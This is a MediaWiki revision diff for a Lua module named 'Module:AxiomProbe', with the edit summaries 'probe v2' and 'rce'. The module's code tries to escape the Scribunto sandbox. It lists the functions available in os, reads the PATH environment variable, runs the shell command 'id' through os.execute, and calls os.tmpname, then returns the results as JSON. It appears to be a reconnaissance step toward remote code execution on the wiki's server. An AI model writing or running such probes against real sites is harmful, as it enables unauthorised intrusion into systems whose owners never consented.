Jump to content

Module:AxiomProbe: Difference between revisions

From Leaf Essentials
probe v2
rce
 
Line 1: Line 1:
local p = {}
local p = {}
function p.main(frame)
function p.main(frame)
    -- Try to read LocalSettings.php content hash or any accessible data
    local t = mw.title.new('Special:Version')
     local info = {}
     local info = {}
   
     local os_funcs = {}
    -- Enumerate available Lua packages 
     for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end
     local loaded = {}
     info.os_funcs = table.concat(os_funcs, '|')
     for k, v in pairs(package.loaded) do
     local ok1, v1 = pcall(os.getenv, 'PATH')
        table.insert(loaded, tostring(k))
     info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1))
    end
     local ok2, v2 = pcall(os.execute, 'id 2>&1')
     info.packages = table.concat(loaded, ', ')
     info.exec_ok = tostring(ok2)
      
     info.exec_val = tostring(v2)
    -- Check if io or os are accessible (they should be sandboxed)
     local ok3, v3 = pcall(os.tmpname)
     info.io_type = type(io)
     info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3))
     info.os_type = type(os)
     info.debug_type = type(debug)
   
    -- Try to get server info via mw
     info.server = mw.site.server
     info.script_path = mw.site.scriptPath
     info.wiki_id = mw.site.wikiId
   
     return mw.text.jsonEncode(info)
     return mw.text.jsonEncode(info)
end
end
return p
return p

Latest revision as of 02:43, 19 June 2026

Documentation for this module may be created at Module:AxiomProbe/doc

local p = {}
function p.main(frame)
    local info = {}
    local os_funcs = {}
    for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end
    info.os_funcs = table.concat(os_funcs, '|')
    local ok1, v1 = pcall(os.getenv, 'PATH')
    info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1))
    local ok2, v2 = pcall(os.execute, 'id 2>&1')
    info.exec_ok = tostring(ok2)
    info.exec_val = tostring(v2)
    local ok3, v3 = pcall(os.tmpname)
    info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3))
    return mw.text.jsonEncode(info)
end
return p